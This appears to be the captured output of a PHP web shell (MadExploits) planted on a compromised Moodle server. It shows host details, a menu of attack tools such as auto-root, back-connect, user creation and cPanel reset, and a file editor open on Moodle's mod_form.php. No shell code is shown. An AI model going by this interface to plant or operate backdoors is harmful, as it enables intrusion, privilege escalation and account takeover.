Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
imscp /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxr-xr-x
dummyapi.js
1.48
KB
-rw-r--r--
index.php
3.37
KB
-rw-r--r--
lib.php
17.43
KB
-rw-rw-r--
locallib.php
14.42
KB
-rw-r--r--
mod_form.php
3.81
KB
-rw-r--r--
module.js
12.54
KB
-rw-r--r--
readme.txt
1
KB
-rw-r--r--
settings.php
1.57
KB
-rw-r--r--
styles.css
465
B
-rw-r--r--
upgrade.txt
315
B
-rw-r--r--
version.php
1.16
KB
-rw-rw-r--
view.php
3.22
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the forms to create and edit an instance of this module * * @package mod_imscp * @copyright 2009 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot.'/course/moodleform_mod.php'); require_once($CFG->libdir.'/filelib.php'); /** * IMS CP configuration form * * @package mod_imscp * @copyright 2009 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_imscp_mod_form extends moodleform_mod { /** * Define the form - called by parent constructor */ public function definition() { global $CFG, $DB; $mform = $this->_form; $config = get_config('imscp'); // Title and description. $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name'), array('size' => '48')); if (!empty($CFG->formatstringstriptags)) { $mform->setType('name', PARAM_TEXT); } else { $mform->setType('name', PARAM_CLEANHTML); } $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); $this->standard_intro_elements(); // IMS-CP file upload. $mform->addElement('header', 'content', get_string('contentheader', 'imscp')); $mform->setExpanded('content', true); $mform->addElement('filepicker', 'package', get_string('packagefile', 'imscp')); $options = array('-1' => get_string('all'), '0' => get_string('no'), '1' => '1', '2' => '2', '5' => '5', '10' => '10', '20' => '20'); $mform->addElement('select', 'keepold', get_string('keepold', 'imscp'), $options); $mform->setDefault('keepold', $config->keepold); $mform->setAdvanced('keepold', $config->keepold_adv); $this->standard_coursemodule_elements(); $this->add_action_buttons(); } /** * Perform minimal validation on the settings form * @param array $data * @param array $files */ public function validation($data, $files) { global $USER; if ($errors = parent::validation($data, $files)) { return $errors; } $usercontext = context_user::instance($USER->id); $fs = get_file_storage(); if (!$files = $fs->get_area_files($usercontext->id, 'user', 'draft', $data['package'], 'id', false)) { if (!$this->current->instance) { $errors['package'] = get_string('required'); return $errors; } } else { $file = reset($files); if ($file->get_mimetype() != 'application/zip') { $errors['package'] = get_string('invalidfiletype', 'error', '', $file); // Better delete current file, it is not usable anyway. $fs->delete_area_files($usercontext->id, 'user', 'draft', $data['package']); } } return $errors; } }
Close